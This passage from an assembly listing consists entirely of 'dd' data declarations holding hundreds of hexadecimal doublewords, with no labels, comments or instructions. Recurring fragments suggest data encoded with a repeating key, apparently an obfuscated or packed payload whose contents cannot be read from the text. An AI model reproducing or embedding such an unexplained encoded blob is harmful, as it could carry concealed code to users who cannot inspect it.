2CBE5256h, 0D5B13256h, 0EAB1B059h dd 75D03256h, 0BD353D56h, 52B13256h, 0AEB133D5h, 57B1C756h dd 0ABB123BFh, 3F6A2E56h, 0C2F32B37h, 7E956333h, 8EFBCC74h dd 0D6BED8E6h, 0AEB13257h, 0BEB132A3h, 0ABB13242h, 5E85B1EAh dd 0C57A1B35h, 0CF49DA03h, 0DE032364h, 2532529Ch, 47D13256h dd 57B13246h, 48813772h, 0C82BE4A4h, 0CB950579h, 700A8B7Ch dd 0DB4E8D59h, 0D3BE3256h, 0AEB1325Eh, 57B3B359h, 0CAD13256h dd 0C5583256h, 5EB13256h, 293A5D04h, 0BF5D8416h, 0F52A605Eh dd 5656C280h, 0DBBE3256h, 0ABB1325Ah, 0D5B135BFh, 901A9856h dd 47A080DAh, 0BA483256h, 5DB1C756h, 5BB132A3h, 57A3DB36h dd 4DE63256h, 0D54B7C38h, 774AF0EAh, 275CEDC1h, 23D9D798h dd 0F3018930h, 52B13237h, 57BDB259h, 29BE3256h, 0D5B13250h dd 0EAB1BD59h, 75B13256h, 43B132AFh, 0A5B132A3h, 28BE3256h dd 57B13247h, 0ABB13EBFh, 0C189A756h, 939E0DADh, 0FE589B68h dd 53B13250h, 5DB13244h, 0AA01E8Ah, 0CB7AFA6Ch, 1C63647Dh dd 4F4D6D68h, 0EAB1390Dh, 75B8B459h, 2D13256h, 37E98C3Dh dd 52D05336h, 5B583256h, 5FB13256h, 959A1457h, 1047D3F9h dd 757B954Eh, 0BABDDB56h, 0C91F3256h, 3A03D345h, 0A26DB651h dd 0ABB16CF2h, 0D5BDB859h, 0ED583256h, 22B13256h, 1F5F7353h dd 5DB10DF6h, 0AEB134BFh, 0D759FF56h, 0A4C8F7FBh, 0D5B133D8h dd 0EAB1CE56h, 75B137BFh, 65BCDA56h, 5DB1DBD5h, 0AEB123BFh dd 7F2D2856h, 0E13547D9h, 0BA769A24h, 870CA820h, 75B19E11h dd 0BAB0B459h, 5D483256h, 0AEA3DB56h, 0F41D3256h, 0F0CE6AA7h dd 0BAE54128h, 2394390Bh, 0BC75A37Ch, 0B5D13256h, 5DB12ADBh dd 0AEA3DA56h, 0BA983256h, 960C58BAh, 44C6A182h, 0AAE48559h dd 0F7AA087Fh, 0BABFDB08h, 76703256h, 439BEF53h, 736786F9h dd 193AB700h, 3CB13237h, 0EAB13253h, 1BB4D054h, 43B13265h dd 5D493256h, 0AEB1CE56h, 0E752B236h, 0A4B13237h, 0D5B122D2h dd 0E03D3D56h, 9CB13256h, 0BAB13253h, 5786103h, 47B132B1h dd 57B13246h, 9EEB67Eh, 33634DCFh, 7C1887E5h, 2D37E089h dd 0DAD13256h, 5DB1B159h, 45313256h, 8A315397h, 0ABB15309h dd 0D5B6BF59h, 61BE3256h, 75B13257h, 0BAB9DBAAh, 4F573256h dd 85F76EC7h, 57B177F6h, 0A4B132AFh, 0D5B139D9h, 0EAB7DB56h dd 0A7A33256h, 0F900856Dh, 56583256h, 76B13256h, 4ECE14CBh dd 9B3086D6h, 0D5B1D279h, 0E5B132AFh, 75B135D9h, 0BB363D56h dd 0A4B13256h, 0BC583256h, 12B13256h, 4B9925C1h, 0E1A0EE96h dd 1F2A3707h, 210BD0DFh, 0DAB13282h, 5DB13CBEh, 0DF11E556h dd 3B94F6BBh, 0ACCFB5C6h, 0B325A908h, 8BEEF5DDh, 13D13256h dd 7B31EADDh, 5DB153F1h, 0AEB134BFh, 4B8D0956h, 0A4EE832Dh dd 0D5B133D3h, 0EAB1CB56h, 0AC0E3D36h, 0BAB139BFh, 0DD6C7956h dd 0C9F34C1Eh, 0F066541Ah, 52B13237h, 58BE3256h, 0EAB13257h dd 65373DAFh, 53B13256h, 5DB1325Dh, 207EFE62h, 0F8538E76h dd 0ABB89EE5h, 0C6383D56h, 3B13256h, 75B13258h, 0A189E087h dd 0A76319DEh, 0C94A2EEAh, 57B10379h, 0ABB6DA36h, 0E52D3256h dd 0B4B3D666h, 75333DFEh, 0E4B13256h, 52D064E6h, 0AEB124D3h dd 57A0DB56h, 0FBE93256h, 0E9CED13Dh, 8F8CA6B6h, 8AA03B02h dd 0BAB3D97Dh, 5DB1CB56h, 0AEB0BD59h, 57493256h, 0AA353D56h dd 29B13256h, 0EAA0DB36h, 0CD6E3256h, 0E22EB906h, 0FD06C63Bh dd 8A5250C7h, 31CF1F9Bh, 14A2FCD7h, 0DAB13237h, 0EAB12BDEh dd 75A5DB56h, 0C8283256h, 1A725C83h, 4C702C84h, 0A4518394h dd 0B62795B2h, 0D5B128E5h, 0EAB138BFh, 277AE456h, 70E4D3BAh dd 5D26D741h, 0AEB1CA56h, 9C305436h, 0AE581F68h, 1BB13256h dd 0D3A23E8Dh, 9CB13237h, 0BAB13259h, 0A255B981h, 0D18A6852h dd 2CDBE852h, 0ABA4E4A1h, 0D5B8DB56h, 653F3256h, 0CF551AADh dd 46195B10h, 0D8BE3256h, 0AEB1325Ah, 57B7B559h, 2FBE3256h dd 0D5B13256h, 0E4583256h, 47B13256h, 0C8FFE418h, 53F176B2h dd 64C2E60Bh, 37B13273h, 2A66B930h, 7BF026B0h, 0EAB1530Ch dd 9C305436h, 7731CA57h dd 4E58539Ah, 0DDB13256h, 27A95FA2h, 0D4DC1771h, 8C5CB610h dd 0B7EC9309h, 75B1E6B7h, 413A5436h, 5DB138BFh, 4E9A3456h dd 5350FBBh, 0CA9E4C89h, 3DD13256h, 0EAB13258h, 48549763h dd 0F4A7661Ah, 0C380B9E4h, 26BE9662h, 57B13256h, 0AD58520Ch dd 56B13256h, 6CA7CEADh, 75383D92h, 0DBB13256h, 3DB13237h dd 0C8D1F8E4h, 36D1E3DDh, 0ABB15337h, 0D5A7BC59h, 0FB583256h dd 50B13256h, 4DF6FCF2h, 2EAB7FD4h, 0EB00D366h, 6E307DD5h dd 0AB493256h, 0D5BDDB56h, 56F73256h, 95DE53FEh, 949B96D7h dd 5DB119E4h, 0AEB13CBFh, 32546F56h, 0B96BAE1Ah, 4B988E2Bh dd 0EAA9F2EAh, 75B1CA56h, 0BAB120BFh, 9DD36E56h, 0FF250618h dd 661B4233h, 18D553B9h, 0D5D23065h, 0EB383D56h, 89B13256h dd 0BA443256h, 5DB1CA56h, 0AEB121BFh, 0D14E6456h, 0C8BEAF75h dd 6AED0A5Bh, 0BF172782h, 0AC90977Fh, 35BE3256h, 5DB1324Eh dd 0AEB121BFh, 0D2825E56h, 9390D010h, 0A5FFF696h, 93DAA40Bh dd 8722D354h, 0A8583256h, 0F8B13256h, 0E4A58B0Bh, 0D8B1C34h dd 9E66E6C7h, 5256725h, 0E53E3D50h, 9CB13256h, 0BAB1325Ch dd 768EA5ABh, 8C8357FDh, 57B1BC89h, 0ABB122BFh, 59FBD456h dd 0C8CCA234h, 60293466h, 6B525754h, 0A8B13292h, 0BC583256h dd 8B13256h, 0A0680D43h, 3227797h, 0F2F0B52Fh, 0DAC0C002h dd 0DAB1321Eh, 5DB2B859h, 63313256h, 57B15394h, 0ABB122BFh dd 0F0823E56h, 0C32A6B77h, 0F2D8EDA5h, 2FF326A7h, 0B4B13283h dd 0AEB13244h, 1B6F52D9h, 83B8CFF9h, 8974FC24h, 19463CECh dd 75B11F3Bh, 0BAB126BFh, 28C6B556h, 6570AB2Ah, 7A9E41D1h dd 548E790Eh, 9E57A85Fh, 0E6313D2Bh, 7AB13256h, 0BAB134DAh dd 5D343D56h, 0AEB13256h, 5B3F3D56h, 42B13256h, 0D5B13251h dd 0FDED2292h, 7576CBC1h, 0BAB1CE56h, 82305436h, 17D776F1h dd 57D07BB4h, 0BF3D3D56h, 3CB13256h, 0EAB13259h, 911D1208h dd 863E4B58h, 0A2E43646h, 0AE347F19h, 4658CA56h, 7DB13256h dd 70A2EAEAh, 8D9AA9A5h, 85BF0F89h, 3EB05099h, 54583256h dd 0FB13256h, 9B99C132h, 2A6DCB5h, 0D9583256h, 0A5B13256h dd 0D0DCE963h, 0EAFC82BBh, 5D32CEE0h, 0AEB1CB56h, 57B139BFh dd 0D5D9D656h, 0E1D86834h, 12FC5ABFh, 70583256h, 44B13256h dd 94F1878Eh, 0A6583256h, 10B13256h, 0BAE76AB4h, 0D583ECF8h dd 6AE75256h, 0FEEAD08Ch, 0BAB153AFh, 5DB13EBFh, 9ADBDF56h dd 4A059E46h, 49BEA44Fh, 0D5B1CB46h, 0EAA1DA36h, 9CDF3256h dd 2D1EBC4h, 2A67ABBDh, 4D525DACh, 944FBE1h, 0CEC4C1D7h dd 0D5D05A02h, 0EF585256h, 73B13256h, 0DFB327CEh, 5DB13FBFh dd 0BD469C56h, 1F8B162Ch, 7E1B1EEh, 0D5D086A2h, 0EAB6DB56h dd 5683256h, 0B0C98828h, 3DB13220h, 0AEB121BFh, 2BD06556h dd 0A2C55213h, 36732627h, 1F64F192h, 25A13AF5h, 0BAB13DBFh dd 3AA61E56h, 0F960E6DDh, 5604C98Ch, 731EF343h, 0DAB13237h dd 0EAB120D3h, 75BCDB56h, 2E703256h, 92DF1B7Ah, 4295E626h dd 57CF0405h, 0ABB9DB56h, 47DE3256h, 622A4079h, 7358D2FDh dd 2B13256h, 905D0C24h, 0A1B132D3h, 57B111D9h, 0A6595256h dd 4AB13256h, 33E4A4F9h, 30E1C37h, 1B7B35FCh, 5DB8DB0Dh dd 83FD3256h, 0F935FBF1h, 0CAE09E8Dh, 0C7583256h, 43B13256h dd 0BBF37D38h, 904BAA43h, 7BB45872h, 937A5581h, 0AFB13294h dd 0AB443256h, 0D5B9DB56h, 0F2293256h, 6181B2E3h, 0BAB19F65h dd 5DB138BFh, 4542C756h, 0D5B5555Ch, 0ABD3BA5Ah, 0D5B1CA56h dd 0EAB0BE59h, 8D4D3256h, 31D13256h, 0BF3054ADh, 0AED07BD4h dd 57B1C756h, 0ABD0CE36h, 0D5B1CB56h, 0EABFDB36h, 32FE3256h dd 8DA4F528h, 11B068DCh, 2118EE2Eh, 57B121BFh, 5AC75656h dd 7EF36803h, 0FE3C9644h, 434ADFE8h, 0DECD78E0h, 0A4B13237h dd 0A1D13256h, 57B130D1h, 534FB956h, 0B5D15237h, 0EA303D37h dd 14B13256h, 0BAB3B359h, 3CD13256h, 0CEB13237h, 8F063D36h dd 0ABB1BC59h, 64D03256h, 61BE5319h, 75B13258h, 0BAB13BBFh dd 0E993EB56h, 0B139ADADh, 57B11738h, 24BEC736h, 0D5B13256h dd 12B13237h, 0FFBE3256h, 0BAB13257h, 52B132A3h, 0AEB120D3h dd 57BCDB56h, 23D53256h, 0F65A587Ch, 0C8D78366h, 75301C9Dh dd 0BABFDB56h, 0AF4A3256h, 1DBA91E8h, 0B8DDF89Eh, 0D1C938A4h dd 3DD13256h, 0EAB13245h, 9A9BF56Bh, 0E3D098D6h, 0F170F20Dh dd 6F3E06C1h, 31B77437h, 1173DBD7h, 0B46BB80Ch, 0EAB137BFh dd 1C2CDF56h, 0BAB13003h, 5DB139BFh, 3BB48156h, 3F801F68h dd 37B4BA73h, 5FBE3256h, 0EAB13251h, 75B0B859h, 0BA483256h dd 97305256h, 8ED5C653h, 364F8D59h, 0AB493256h, 0C33A3D56h dd 0E5B13256h, 75B122D7h, 0BABADB56h, 77E93256h, 0CA1384Ch dd 1718C5C2h, 0AD323D6Bh, 0B5B13256h, 98528A30h, 7AB13237h dd 0BAB133DFh, 5DB1CE56h, 47B132AAh, 57B13258h, 129ECDA3h dd 29386580h, 0B998094Ah, 75B1750Bh, 53B132AAh, 5DB13242h dd 0D644B72h, 1FF11CFEh, 4CC68BE8h, 5E5B970Eh, 0D2546C5Fh dd 15D13256h, 33CD2D7h, 8C304106h, 8335CD46h, 57B15337h dd 0ABA2BC59h, 0DB583256h, 0AB13256h, 0AD7953BDh, 0A940BE19h dd 7665C7DAh, 0BC3A3D78h, 0BEB13256h, 0ABB1325Bh, 72D36BFh dd 4C3F8F03h, 0DF41B14Eh, 0B5B132E7h, 5DB13FDDh, 0AEB9DB56h dd 80D93256h, 8A267D3Fh, 0D5B18B8Dh, 3042B336h, 15D4B9B8h dd 7240B3AAh, 3CB86BD1h, 0AEB1CE37h, 813A5436h, 2F4E73EDh dd 58BE5318h, 0EAB13257h, 7AB132AAh, 0BAB13ADFh, 0DCD75256h dd 56DB1480h, 37B13237h, 0F3D05207h, 0D5B2B959h, 55BE3256h dd 75B15397h, 0BAA7B259h, 4C583256h, 0B6B13256h, 0B0B407CFh dd 4240D020h, 95BEEF5h, 0E76153F5h, 8CD13256h, 5AEC8C30h dd 3DB13237h, 79418C30h, 57B3BA59h, 0F0E33256h, 29B13237h dd 65BE3256h, 75B1325Ch, 0B5708736h, 5DB132D4h, 0AEB15356h dd 37B132A3h, 20D77AE5h, 0D5B153A1h, 0EAB3B459h, 14D13256h dd 38BE3256h, 5DB1325Bh, 0AEB13ABFh, 0FBD43756h, 120C7CEDh dd 2CB13262h, 0ED583256h, 0F0B13256h, 622E3989h, 5258054Ah dd 74B13256h, 93015C66h, 0FA9A2FE8h, 3AF64464h, 0EAB17871h dd 75B0BC59h, 0BA4D3256h, 5DB1CB56h, 0CEB132AAh, 3743B2AFh dd 0A4B13237h, 0D5B13ED9h, 30305256h, 79182A77h, 0C3D28830h dd 3DB13237h, 0AEA1DB00h, 0EE813256h, 8E3E6AB7h, 0DE372553h dd 0F49977A2h, 0FEEA5889h, 0BAB15381h, 5DB120BFh, 649C3356h dd 1B7B9A09h, 34D2332Dh, 0DFDA9BF6h, 0EAB207B1h, 633B3D56h dd 0DAB13256h, 5DB13EBFh, 36F03556h, 98854D0h, 1C04CBC3h dd 22063D2Dh, 0EAB1CB37h, 75A0DB36h, 5F633256h, 14A18532h dd 0A0546EC8h, 0F052E1FEh, 0CA96B5B9h, 0C5583256h, 75B13256h dd 0B5BA604Eh, 1DB830C7h, 0FC214433h, 0AE16687Eh, 8F3B5256h dd 0ABB1CA37h, 0D5ACBA59h, 6DBE3256h, 75B13241h, 0BAB120BFh dd 21A29356h, 37350049h, 8B6F422Fh, 74FFFF81h, 0D529F60Ch dd 0EAB1C756h, 75BEBE59h, 0B0583256h, 2CB13256h, 0B109564Eh dd 0CD5A9108h, 0A4B13246h, 0D5B135DDh, 27315256h, 148380F0h dd 0EBD13256h, 52EFF1DDh, 0AED0FBE1h, 57B1CB56h, 0ABB126BFh dd 0FCB34356h, 0D9BC46C2h, 2E08B8E2h, 2835CFB6h, 0F42826F0h dd 0CEB132F4h, 6378B330h, 0CA72B974h, 0DAD13256h, 0EAB131D2h dd 8C0E3D56h, 0DBD8C5D6h dd 5DB9BB59h, 2DBE3256h, 57B13254h, 0ABB15336h, 0D5B6B259h dd 64BE3256h, 75B13257h, 53B132A3h, 5DB1325Dh, 6C4DD50Dh dd 0A584C6EDh, 0AB06477Eh, 0B00F5256h, 52B7134Ch, 266AF6EFh dd 0A9363D37h, 0B4B13256h, 0AEB13258h, 50E7B45Eh, 0B10385F0h dd 5BD8B654h, 0EAB1BF0Ch, 0CF71B236h, 0E4EF6201h, 0A1B13237h dd 0C8D13256h, 37D0FCDDh, 60063DA3h, 20B13237h, 0EAB6BE59h dd 0FCBE3256h, 0BAB13257h, 52B132AAh, 0AEB134D5h, 863A5256h dd 0ABD0F9DDh, 5E495256h, 67BE5389h, 75B13246h, 0BAB139BFh dd 0E6E6FA56h, 0C08A395Dh, 6590AE1Fh, 0AB4D3256h, 0D5B7DB56h dd 0B2C53256h, 0CC61BFFEh, 0BA483256h, 5DB1C756h, 0AEB123BFh dd 0AEAD2856h, 26C96118h, 0A99265F6h, 33012BD9h, 75B1EE20h dd 0BAB135BFh, 5B860356h, 0FB4622B3h, 52583256h, 0B4B13256h dd 437BF820h, 0E5B132AFh, 75B12AD8h, 0BAA2DB56h, 49843256h dd 0BBCAB270h, 4B022DD5h, 29F44416h, 0FD3710D5h, 3B1321Fh dd 75B1325Dh, 80E68355h, 2D9299EFh, 0AE53558Eh, 5B333D56h dd 42B13256h, 0D5B13251h, 0CDA32657h, 7599A721h, 0BAA0DB56h dd 4E353256h, 26D32687h, 666187BEh, 0BCF81983h, 0D5A496CCh dd 0EAB8DB56h, 342F3256h, 9400BA07h, 3D46A9D9h, 0C746B330h dd 563B3D18h, 5EB13256h, 0DAB13237h, 0EAB122D6h, 75BADB56h dd 16003256h, 0EC243431h, 0B8EE6A07h, 37B13261h, 2B6FEDD6h dd 0D5D01F9Dh, 0EAB9DB56h, 0FFF33256h, 5C0DB631h, 5DB1C4A3h dd 51A28936h, 5E593052h, 0A9B13256h, 0A163E798h, 8E08BF65h dd 2D6BB930h, 0DAB13237h, 42174FE8h, 19BE6359h, 58D0689Fh dd 0ABB13EDCh, 0D3303D56h, 0E5B13256h, 75B132D5h, 53B13256h dd 5DB13253h, 5D1A5B0Dh, 0AEB13297h, 0CBB132A3h, 0B5EACA00h dd 55698559h, 6D9D9C56h, 0BAB15337h, 0D57CB236h, 0AEB153AAh dd 57B120BFh, 9EDFF56h, 0E95B8E3Eh, 2C992F6Bh, 0C1DB5F48h dd 0BAD8F975h, 59333D56h, 0CEB13256h, 57D0CDE2h, 0A0585256h dd 0D7B13256h, 62A1221Eh, 4D679250h, 0E8E00409h, 5DD06D0Eh dd 0AEB1CA56h, 0F861B336h, 5EE2E179h, 29B13237h, 0EABCDB36h dd 0D4EA3256h, 7A40A9D7h, 1158D251h, 46ECB876h, 57B13256h dd 5E5BB30Ch, 0DAB728C7h, 0EAB13AD8h, 77373D56h, 0DAB13256h dd 5DA5DB37h, 0D7643256h, 0C4EC7512h, 3DE4B78h, 0B8A8F0ECh dd 5F57CEBDh, 0F03C1CD8h, 0BCA8BC8Ah, 0FE33BBAEh, 0A1B7282Fh dd 57B126D3h, 0ABBEDB56h, 74ED3256h, 1C8106Ah, 9CDFA9DEh dd 2D1EBC4h, 0E333BFBDh, 0A1B72931h, 57B133DFh, 2938C756h dd 0D3AB4B93h, 55D7C736h, 9DD0B2F2h, 0BAB10148h, 5FDFDAAAh dd 47483256h, 57B1325Dh, 0E586BB06h, 5FB70097h, 2DEAA015h dd 6FC817D4h, 0BAB13250h, 5DB4DB56h, 89F73256h, 56573FDh dd 0ABB137BFh, 536FE856h, 6F77CD8Ah, 73A5280Fh, 0E8D9C700h dd 0A82D9AEEh, 0B46087A9h, 52583442h, 0D6B13256h, 9CB28C04h dd 2D305436h, 0F1BEB37Fh, 0BAB13243h, 5DB122BFh, 87A92E56h dd 1F1FC1F4h, 71847EFAh, 74E90107h, 6F3C5336h, 73A6B28Dh dd 0BAA2B359h, 0DCBE3256h, 0AEB1325Bh, 57B13ABFh, 8A0B6356h dd 0E6D78236h, 361CD31h, 75B1325Eh, 0B4BCA373h, 3FB33256h dd 0B2E4B7DFh, 0DABE3442h, 0ABB13257h, 0B5B558AEh, 253A54AEh dd 72585237h, 36B13256h, 0AD1784ACh, 2CBE2AC1h, 57B13254h dd 0C3D0E4DDh, 0D5B12256h, 0E7F15AA3h, 13D13255h, 144D1E9h dd 48054D15h, 57B15837h, 0DCBEE2A9h, 0ABB13242h, 0D5BBDB36h dd 0BC213256h, 0AB926B4Fh, 0DF9E29BBh, 3C7E8559h, 0AF323D0Ch dd 0AFB13256h, 2FBEF25Dh, 0D5B13372h, 0EAB0B059h, 0FC443256h dd 0A0C817D4h, 56333D50h, 0CEB13256h, 0E247B330h, 490A54BCh dd 57385328h, 0ECAB4B02h, 75B137BFh, 2B7FB456h, 4D58A1B6h dd 6EB13256h, 2601D3B7h, 16EE37CBh, 1C4B3316h, 5346E627h dd 75B23F16h, 0BC343D36h, 52B13256h, 0AEB132DAh, 57BFDB56h dd 981A3256h, 62297ACCh, 0E1C8B32h, 859975FFh, 0AF353D37h dd 3DB13256h, 0AEB13EBFh, 9B326656h, 1A483B3Ah, 0DC8BF51Bh dd 8BD052D9h, 7258CADDh, 0EEB13256h, 0D67C70CAh, 6E8269ACh dd 57BDDBAFh, 743256h, 6D9050F9h, 71B777E4h, 0DF4284AAh dd 0DA4D60AAh, 3B49B930h, 0CF170BEEh, 3F48363Ch, 0ABB12256h dd 0D5BCBA59h, 3D13256h, 75B13250h, 6219EFB5h, 0B4D09BF9h dd 0AEB1325Ah, 794C80D6h, 45AB6415h, 45E537Eh, 0EAB5323Eh dd 75DBCB56h, 0F656B236h, 76CEE0D7h, 0CED01641h, 0BE698D59h dd 0ABB1325Eh, 0D410E97Fh, 0EA1CAF1Fh, 2023CD37h, 53B7264Ah dd 5DB1325Dh, 7970DF0Ah, 0EAE1284Eh, 0F170ED4Dh, 2F33BBA3h dd 1FB7282Dh, 75B8DB37h, 5D473256h, 37EB1F47h, 259A97ADh dd 4DC817D3h, 6C315250h, 0D5BEDBDFh, 0B32B3256h, 9C19578h dd 0C7803A9Ch, 1ADBD0Fh, 0A1725335h, 57B135D2h, 0AA313D56h dd 2DB13256h, 6876CA36h, 73A532DBh, 0BAF13256h, 9033F5AFh dd 0AEB7265Dh, 0BEB13246h, 0ABB13247h, 0E310E47Dh, 0F54BB51Ah dd 9BEB1BF6h, 0EBDEEA3Eh, 9E4853D8h, 0A1D152AFh, 57B131DCh dd 62063D56h, 0C12684EEh, 503A5320h, 73AB4B73h, 0BAB0BD59h dd 0DE493256h, 2ABE3269h, 57B132B6h, 0ABB123BFh, 0EF44E056h dd 636DEA09h, 0E6D5738Dh, 20F16291h, 2232A631h, 2ABE3046h dd 57B13226h, 0ABB123BFh, 59000456h, 73E29765h, 0A4901FB8h dd 651EACCCh, 223217A3h, 2ABE3646h, 57B1322Dh, 0AE3A3D36h dd 0B3B13256h, 40C5E8D7h, 0C4FC8830h, 0BAB4DB37h, 8F143256h dd 2DCD7FF2h, 45582691h, 70B13256h, 694353E3h, 0DCBD2282h dd 0E87D10D7h, 0EF093864h, 0A2CCDB1Dh, 21BECDA9h, 57B13246h dd 0ABB139BFh, 39E3F956h, 0FD7B67B7h, 9806A5B3h, 0BBA17591h dd 52B13256h, 0AEB12ADFh, 0D6D75256h, 43FD7384h, 0D5B1325Dh dd 0B26B9070h, 8291FD48h, 0E21A85B3h, 0A210DB37h, 6948CDA9h dd 57B22211h, 21BE3256h, 0D5B1325Eh, 0EAB3B359h, 14D13256h dd 454EB4BFh, 5DB7DBA9h, 2B3256h, 0DD6F2C7h, 0ABBFDB37h dd 0B7E33256h, 6D99D6F0h, 8F1F8750h, 9FF2A136h, 0EABE5295h dd 464D5286h, 57B1325Ch, 3B85D8D2h, 5F2505C9h, 8BEA25CFh dd 64586737h, 84B13256h, 44AF2870h, 9EF0DD47h, 804F4B39h dd 18F21379h, 0B549DEDDh, 0EAB0B459h, 9D483256h, 0BAB13256h dd 345BB30Ch, 5BB728C0h, 0DABE5236h, 0ABB13256h, 0B4778D59h dd 3D0FEDCh, 75B13246h, 12600D0Bh, 7F6C96Ah, 30350B4Ah dd 0BF0A1447h, 0D7A380DDh, 55D1344Ch, 5AE726BFh, 8CD069FFh dd 53B977DDh, 5DB13251h, 0D64B6435h, 0BE2C0E9Ch, 0ABB13253h dd 7916387Dh, 3B7BB2Bh, 75B1325Ah, 0FCBF29D0h, 974D9D33h dd 5645F2DEh, 2BA3B0D5h, 57B5344Ch, 0D4303D37h, 16B13256h dd 7173CE9Fh, 0BABADB56h, 0FAE73256h, 311C10FEh, 0CCBDD15Ch dd 434852C4h, 0D5B13256h, 175BB30Ch, 89B728C0h, 4003B9AEh dd 3DB7282Dh, 834EF4D7h, 1A0E1865h, 0CABE391Dh, 0A9A3806Dh dd 6EBE344Ch, 75B13329h, 0BAB0B359h, 0D6483256h, 0BB353D68h dd 0BEB13256h, 0ABB13246h, 0C1DC4AE5h, 28A4EA88h, 0F280004Ch dd 9B43969Fh, 5249EDDDh, 5BB07DE0h, 57B0B659h, 5D4D3256h dd 0DA313311h, 0EAB174D3h, 75BCDB56h, 0F18D3256h, 3A91ADB5h dd 4AEBCDACh, 0AE0E1AFAh, 4248EB55h, 0D5B1321Eh, 0D05AB236h dd 75B120BFh, 51D48856h dd 0C0328162h, 754056F9h, 77B8D7BFh, 0CAFE6AF7h, 0D5B138BFh dd 0E5A7D556h, 1A4FF334h, 91F0F871h, 48313D8Fh, 47B13256h dd 57B13246h, 27B2E11Eh, 717B4213h, 9F56F893h, 0A78F323Ah dd 0DAF2C715h, 5DA0B759h, 0A2583256h, 31B13256h, 558DCF5Eh dd 8B6B12EAh, 5470FF26h, 4A25F80Bh, 4F34B937h, 52B72652h dd 0AEB12BD2h, 57A5DB56h, 8EDF3256h, 1346D9A8h, 802640A5h dd 0F6773560h, 0ACDB4590h, 0D03A3B42h, 0A8A521F7h, 0D1BE6236h dd 0ABB13256h, 50BE5308h, 0EAB13251h, 75B0B759h, 81443256h dd 68333D8Eh, 5BB13256h, 0D0BEEB6Dh, 0ABB1327Ah, 0D177B1A3h dd 5DBE5236h, 141E82A9h, 31BE53AEh, 5DB13250h, 0D3095436h dd 965853F4h, 0A44ECDA8h, 0D5B135D7h, 0EB3A3D56h, 80B13256h dd 3EBEFD6Dh, 5DB13261h, 0AEBBBB59h, 52583256h, 29B13256h dd 0C14DF326h, 0F9108FDFh, 0F9BE3442h, 0BAB13243h, 5DB9DB36h dd 66783256h, 0F30EDE66h, 29BE61CEh, 0D5B13256h, 14D2DB37h dd 144DCDA9h, 0BAB137BFh, 2EB0D956h, 0CE72F237h, 57B3BA59h dd 673B3256h, 0D5B13ABFh, 1569AA56h, 4EDEF0BEh, 0B4585324h dd 0A5B13256h, 0AE5BAA73h, 0FA30499Ah, 9D1FCBEAh, 0B54952F5h dd 2CC9D2D7h, 0A23B7D6Fh, 0BAB1DA37h, 0DCEB3256h, 0B429D9BCh dd 42313D50h, 0A4B13256h, 0D5B13DDDh, 0EABBDB56h, 20173256h dd 6390977Fh, 1CDF3183h, 0AEB126BFh, 9D5F7E56h, 1CFFE704h dd 0B626439Ch, 72BFA783h, 0E30072DBh, 0B7363DE1h, 3DB13256h dd 8206F5ECh, 57323D53h, 0CAB13256h, 2F0BB9A3h, 3B7282Dh dd 75B13259h, 35356A76h, 135705C7h, 7ECBA514h, 3718445Ah dd 740A5436h, 4D59B389h, 8BFE8DAEh, 75B0B059h, 0DB483256h dd 5DB032EFh, 0AEA0DB56h, 66283256h, 2B84E06Ah, 0C367F4E6h dd 7C73CB7Eh, 8DBEBD14h, 3ABEF265h, 5DB13247h, 703A5436h dd 57B135BFh, 0DEC8B656h, 53947498h, 31AC137h, 75B13245h dd 9905583Bh, 0F98A5B9Dh, 71C20542h, 0D7D163BFh, 20B552A3h dd 0CFCAC8D4h, 52D75250h, 9C3165D8h, 383853D2h, 5BAB4E44h dd 0F30F5436h, 543F3DACh, 2BB13256h, 29D0DEA0h, 5DBE5237h dd 0B5305499h, 79D0BCFCh, 5DB8DB36h, 0BD023256h, 550F7140h dd 43591C96h, 0D5B1325Dh, 0A9256CC0h, 0A492A8E2h, 0B56044D2h dd 3CEEC2E9h, 16035236h, 57B1DA37h, 2AEB3256h, 0CF2B25BCh dd 0E5E35250h, 75B132DDh, 0B5596856h, 0F9B13256h, 0BA7C2733h dd 49AA4428h, 0EE2C037Eh, 63A23F1h, 61BE530Eh, 75B1325Ah dd 0BAB7BC59h, 0DEBE3256h, 0AEB13256h, 4DE8B790h, 0CBE73442h dd 877B8559h, 5263C0D7h, 14EF22C5h, 0BAB0BD59h, 35483256h dd 7AAE5F6Fh, 55363D36h, 20B13256h, 0B44E8699h, 0F06087A9h dd 0F4D13442h, 5E8F8397h, 0BF30545Eh, 47D01F01h, 57B13253h dd 0B1192F6h, 0E34BFF6h, 3B725D6h, 75B1325Bh, 64F4882Bh dd 0ED05649h, 520EC603h, 874ECB2Ch, 0ABB13CBFh, 87C6656h dd 0E4574534h, 78DE33Dh, 0E8E9EB0Ch, 0D3BE62A3h, 0AEB1325Eh dd 57B3B059h, 0CAD13256h, 0D531323Eh, 60D15256h, 0F20B5493h dd 0B5D15357h, 7E05E0E1h, 0AEDB5337h, 0E54EC7A3h, 0ADAB4B73h dd 0DB378D36h, 5DBE3D51h, 0A54E53A4h, 38BE6AAEh, 5DB13257h dd 23BE68AEh, 57B13251h, 713A5436h, 0BDD05336h, 0EAB1B256h dd 89B158AAh, 0C14B80A9h, 0DDBE344Ch, 0AEB13257h, 0BE61CDAAh dd 0ABB13242h, 2DF14C00h, 805F9EF4h, 2B3D74E1h, 0FECE49E4h dd 0D5CFFC2Bh, 413B5237h, 0E8D1F137h, 0F486D10Fh, 0A9C28B30h dd 6BBE6737h, 75B1325Eh, 0BAB3B859h, 3CD13256h, 0BA58DEDDh dd 0FAB13256h, 22A42B8Ch, 9279B494h, 0A8968557h, 0EEC7CCE0h dd 0DA36481Ah, 91095436h, 240A5431h, 575953E8h, 0F1B13256h dd 4E29D8D7h, 349344Ch, 75B13244h, 0AFDF7D9Ch, 0B904A66Eh dd 0F1A05B27h, 623E3BFh, 0DE3A0FEDh, 0D4333D5Eh, 1FB13256h dd 75BC9BBEh, 0B2353D56h, 52B13256h, 0AEB130D5h, 2D05256h dd 0ABB13CBFh, 1B301856h, 9B0DD7CCh, 0C06C6CA7h, 454F80E5h dd 47C891C4h, 0A1585250h, 0DEB13256h, 79F53CDFh, 0F952D81Bh dd 0ACBADA18h, 9CD067CEh, 0BAB1325Eh, 0C71DBCF5h, 519638FDh dd 563F3D0Bh, 52B13256h, 0C67BB236h, 0E6C40937h, 8A2BB759h dd 0B758CDA9h, 84B13256h, 9FF36AE8h, 47543461h, 0EAB167A1h dd 0D5BC03BEh, 6BD75256h, 0C7AA41B5h, 53D05349h, 5DB13253h dd 0B867F4E6h, 9548FB7Eh, 0FE44325Eh, 0D5BDB559h, 66BE3256h dd 75B13250h, 0BAB1B459h, 0B13A3256h, 0A858CA36h, 8BB13256h dd 23815646h, 11325370h, 